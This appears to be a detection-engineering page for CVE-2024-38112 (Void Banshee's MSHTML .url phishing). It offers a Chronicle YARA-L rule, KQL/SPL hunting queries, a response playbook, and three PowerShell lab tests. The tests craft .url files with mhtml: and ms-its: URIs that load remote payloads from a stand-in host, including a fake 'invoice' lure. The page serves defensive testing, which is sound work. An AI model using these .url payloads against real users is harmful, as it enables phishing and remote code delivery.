CVE-2024-38112 Google Chronicle · YARA-L

Detect CVE-2024-38112 - Windows MSHTML Spoofing via .url File Phishing (Void Banshee) in Google Chronicle

Detects exploitation of CVE-2024-38112, a Windows MSHTML spoofing vulnerability actively exploited by the Void Banshee threat group. Attackers deliver crafted .url files that invoke the legacy Internet Explorer MSHTML engine (mhtml: or ms-its: URI handlers) to load remote malicious content, bypassing modern browser security controls. Patch released July 2024; in CISA KEV catalog.

MITRE ATT&CK

Tactic
Initial Access Execution Defense Evasion

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2024_38112_mshtml_url_spoofing {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects CVE-2024-38112 exploitation: iexplore.exe launched with mhtml/ms-its URI handlers from document or browser parents"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38112"

  events:
    $proc.metadata.event_type = "PROCESS_LAUNCH"
    $proc.target.process.file.full_path = /(?i)iexplore\.exe$/
    (
      $proc.target.process.command_line = /(?i)mhtml:/ or
      $proc.target.process.command_line = /(?i)ms-its:/ or
      $proc.target.process.command_line = /(?i)mk:@MSITStore/ or
      $proc.target.process.command_line = /(?i)its:\/\//
    )
    (
      $proc.principal.process.file.full_path = /(?i)(outlook|winword|excel|powerpnt|explorer|msedge|chrome|firefox)\.exe$/
    )

  condition:
    $proc
}
critical severity high confidence

Chronicle YARA-L rule detecting Internet Explorer processes with legacy MSHTML URI scheme arguments spawned by mail or browser processes, covering the CVE-2024-38112 Void Banshee exploitation pattern.

Data Sources

Google Chronicle UDMSysmon forwarded to Chronicle

Required Tables

process_launch UDM events

False Positives & Tuning

  • Legacy enterprise line-of-business applications that use iexplore.exe with mhtml: for report rendering
  • IT help systems using CHM files (ms-its: protocol) launched from Office applications
  • Security red team exercises in environments where IE is still present and targeted

Other platforms for CVE-2024-38112

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate CVE-2024-38112: mhtml URI via crafted .url file

    Expected signal: Sysmon EventID 11 for .url file creation in %TEMP%; Sysmon EventID 1 for explorer.exe launching iexplore.exe with mhtml: in the command line; Sysmon EventID 3 for iexplore.exe attempting outbound connection to 192.168.100.200:80

  2. Test 2Simulate CVE-2024-38112: ms-its URI handler via .url file

    Expected signal: Sysmon EventID 1 for iexplore.exe or hh.exe with ms-its: in CommandLine; Sysmon EventID 3 for outbound HTTP to 192.168.100.200; Sysmon EventID 11 for .url file creation

  3. Test 3Simulate Void Banshee delivery chain: Outlook attachment drop and .url execution

    Expected signal: Sysmon EventID 11 for .url file in Outlook INetCache path; Sysmon EventID 1 for cmd.exe parent and iexplore.exe child with mhtml: CommandLine; Sysmon EventID 3 for iexplore.exe outbound connection attempt; Windows Security EventID 4688 for process creation chain

Last updated: 2026-06-20 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the .url file that triggered the iexplore.exe launch: check DeviceFileEvents or Sysmon EventID 11 for .url files created/accessed in the 60 seconds prior to the iexplore.exe process start.
  2. Examine the full command line of iexplore.exe for the remote URL embedded in the mhtml:, ms-its:, or mk:@MSITStore argument — extract the remote host and path for threat intelligence lookup and domain/IP reputation check.
  3. Determine if any child processes were spawned by iexplore.exe (e.g., cmd.exe, powershell.exe, wscript.exe, mshta.exe) using DeviceProcessEvents or Sysmon EventID 1, which would indicate successful code execution post-exploitation.
  4. Check network connections made by iexplore.exe during and after the suspicious launch using DeviceNetworkEvents or Sysmon EventID 3 to identify C2 callback addresses or payload download sources.
  5. Assess patch status: verify whether KB5040442 (or equivalent July 2024 cumulative update) is installed on the affected host via DeviceTvmSoftwareVulnerabilities or asset inventory.

Containment

  1. Isolate the affected endpoint immediately using EDR network isolation (CrowdStrike contain host / MDE device isolation) to prevent lateral movement or C2 communication while investigation proceeds.
  2. Block the remote domain or IP extracted from the mhtml:/ms-its: URI at the network perimeter (proxy, firewall, DNS sinkhole) and apply an IOC block in the EDR platform to prevent re-infection or further beaconing.
  3. Quarantine or delete the malicious .url file from the affected system and from any shared drives or email attachments where it may still exist.

Evidence Collection

  1. Collect a full memory image of the affected host using WinPmem or the EDR's memory acquisition capability to capture any in-memory payloads that may have been injected by the MSHTML exploitation.
  2. Preserve a forensic copy of the malicious .url file, browser/MSHTML cache directories (%LOCALAPPDATA%\Microsoft\Windows\INetCache, %APPDATA%\Microsoft\Internet Explorer), and relevant Sysmon/Windows Event Log channels (Security, System, Application, Microsoft-Windows-Sysmon/Operational) before any remediation.

Escalation Criteria

  • !Escalate to Incident Response if any child process of iexplore.exe is observed (cmd.exe, powershell.exe, wscript.exe, rundll32.exe, mshta.exe) indicating successful arbitrary code execution, or if Atsimdjson or Atlantida Stealer IOCs associated with Void Banshee are present.
  • !Escalate immediately if the affected user has privileged access (domain admin, service account, cloud admin) or if lateral movement indicators are observed (new scheduled tasks, remote logons, SMB connections to multiple hosts) following the initial compromise.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Malicious .url file in user Downloads, Temp, or AppData directories containing mhtml: or ms-its: URL pointing to attacker-controlled host
  • >INetCache entries for the attacker domain under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\
  • >Prefetch file for iexplore.exe (C:\Windows\Prefetch\IEXPLORE.EXE-*.pf) with timestamps correlating to the exploit event
  • >Windows Registry key HKCU\Software\Microsoft\Internet Explorer\TypedURLs showing the malicious URI
  • >Sysmon EventID 1 process creation log with ParentCommandLine referencing the .url file path and iexplore.exe CommandLine containing the mhtml:/ms-its: URI

Tuning Guidance

To reduce false positives in environments where Internet Explorer is still in active use for legacy applications, add a allowlist of known-good intranet FQDN patterns within the mhtml: or ms-its: URI (e.g., only block when the URI points to non-RFC1918 or non-approved domains). Additionally, if iexplore.exe has been removed or disabled via Group Policy (Feature Update to Disable IE), the detection can be converted to an alerting-only rule for defense-in-depth since the exploit cannot succeed. For environments that have deployed KB5040442 or later July 2024 cumulative updates across all assets confirmed via Defender TVM, tune severity down to medium while maintaining the detection for unpatched asset coverage gaps.

Hunting Queries

Retrospective 30-day hunt for any iexplore.exe executions with legacy MSHTML URI handlers across the environment to identify hosts that may have been compromised before the detection rule was deployed.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(30d)
| where FileName =~ 'iexplore.exe'
| where ProcessCommandLine has_any ('mhtml:', 'ms-its:', 'mk:@MSITStore', 'its://')
| summarize count(), earliest=min(TimeGenerated), latest=max(TimeGenerated), hosts=dcount(DeviceName), Users=make_set(AccountName) by ProcessCommandLine
| where count_ > 0
| order by count_ desc
Hunting — SPL
spl 
index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\iexplore.exe"
| eval cl=lower(CommandLine)
| where match(cl,"mhtml:") OR match(cl,"ms-its:") OR match(cl,"mk:@msitstore") OR match(cl,"its://")
| stats count earliest(_time) as first_seen latest(_time) as last_seen dc(host) as host_count values(host) as hosts by CommandLine
| sort -count

Hunt for outbound network connections made by iexplore.exe to external hosts, which may reveal C2 infrastructure or payload delivery servers used in the CVE-2024-38112 attack chain.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated >= ago(30d)
| where InitiatingProcessFileName =~ 'iexplore.exe'
| where RemotePort in (80, 443, 8080, 8443)
| where RemoteIPType != 'Private'
| summarize ConnectionCount=count(), Urls=make_set(RemoteUrl), IPs=make_set(RemoteIP) by DeviceName, AccountName, InitiatingProcessCommandLine
| where InitiatingProcessCommandLine has_any ('mhtml:', 'ms-its:', 'mk:@MSITStore')
| order by ConnectionCount desc
Hunting — SPL
spl 
index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 Image="*\\iexplore.exe"
| where DestinationIsIpv6=false AND DestinationPort IN (80, 443, 8080, 8443)
| lookup dnslookup clientip AS DestinationIp OUTPUT clienthost AS resolved_host
| stats count values(DestinationIp) as dest_ips values(DestinationPort) as dest_ports by host, User, resolved_host
| sort -count

Atomic Red Team Tests

Test 1 Simulate CVE-2024-38112: mhtml URI via crafted .url file
windows

Creates a malicious .url file that triggers iexplore.exe via the mhtml: URI handler, replicating the initial access vector used by Void Banshee. Use a controlled lab environment with no internet access.

Command

powershell 
# Create malicious .url file
$urlContent = "[InternetShortcut]`nURL=mhtml:http://192.168.100.200/payload.mht`nIconFile=C:\\Windows\\System32\\SHELL32.dll`nIconIndex=0"
$urlContent | Out-File -FilePath "$env:TEMP\\CVE-2024-38112-test.url" -Encoding ascii
# Trigger via explorer (simulates user double-click)
Start-Process explorer.exe -ArgumentList "$env:TEMP\\CVE-2024-38112-test.url"

Cleanup

powershell 
Remove-Item "$env:TEMP\\CVE-2024-38112-test.url" -Force -ErrorAction SilentlyContinue; Stop-Process -Name iexplore -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon EventID 11 for .url file creation in %TEMP%; Sysmon EventID 1 for explorer.exe launching iexplore.exe with mhtml: in the command line; Sysmon EventID 3 for iexplore.exe attempting outbound connection to 192.168.100.200:80

Expected Detection

KQL/SPL detection fires on iexplore.exe process event with mhtml: in CommandLine and explorer.exe as parent

Test 2 Simulate CVE-2024-38112: ms-its URI handler via .url file
windows

Creates a .url shortcut invoking the ms-its: (CHM) URI handler, the second variant of the CVE-2024-38112 exploitation technique, to test detection coverage of the ms-its attack path.

Command

powershell 
# Create ms-its variant .url file
$urlContent = "[InternetShortcut]`nURL=ms-its:http://192.168.100.200/evil.chm::/index.html"
$urlContent | Out-File -FilePath "$env:TEMP\\CVE-2024-38112-msits-test.url" -Encoding ascii
# Open via shell
Invoke-Item "$env:TEMP\\CVE-2024-38112-msits-test.url"

Cleanup

powershell 
Remove-Item "$env:TEMP\\CVE-2024-38112-msits-test.url" -Force -ErrorAction SilentlyContinue; Stop-Process -Name iexplore -Force -ErrorAction SilentlyContinue; Stop-Process -Name hh -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon EventID 1 for iexplore.exe or hh.exe with ms-its: in CommandLine; Sysmon EventID 3 for outbound HTTP to 192.168.100.200; Sysmon EventID 11 for .url file creation

Expected Detection

Detection query triggers on ms-its: URI pattern in iexplore.exe/hh.exe command line spawned via file manager or mail client

Test 3 Simulate Void Banshee delivery chain: Outlook attachment drop and .url execution
windows

Replicates the full Void Banshee delivery chain by simulating an email-attached .url file drop and subsequent execution from the Outlook temporary attachment directory, the highest-fidelity test for the detection's parent process coverage.

Command

powershell 
# Simulate Outlook attachment drop path
$outlookTempDir = "$env:LOCALAPPDATA\\Microsoft\\Windows\\INetCache\\Content.Outlook"
New-Item -ItemType Directory -Path "$outlookTempDir\\ATTACKTEST\\" -Force | Out-Null
$urlContent = "[InternetShortcut]`nURL=mhtml:http://192.168.100.200/stage2.mht"
$urlContent | Out-File -FilePath "$outlookTempDir\\ATTACKTEST\\invoice_2024.url" -Encoding ascii
# Simulate user opening attachment (start via cmd as outlook child would)
cmd.exe /c start "" "$outlookTempDir\\ATTACKTEST\\invoice_2024.url"

Cleanup

powershell 
Remove-Item "$env:LOCALAPPDATA\\Microsoft\\Windows\\INetCache\\Content.Outlook\\ATTACKTEST\\" -Recurse -Force -ErrorAction SilentlyContinue; Stop-Process -Name iexplore -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon EventID 11 for .url file in Outlook INetCache path; Sysmon EventID 1 for cmd.exe parent and iexplore.exe child with mhtml: CommandLine; Sysmon EventID 3 for iexplore.exe outbound connection attempt; Windows Security EventID 4688 for process creation chain

Expected Detection

Full detection triggers on mhtml: iexplore.exe launch with cmd.exe/outlook.exe-derived parent; file creation alert fires on .url drop in Outlook temp path

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0005Defense Evasion

Related Techniques

T1566.001Spearphishing AttachmentT1203Exploitation for Client ExecutionT1218System Binary Proxy Execution

Same Tactic: Initial Access

Popular Detections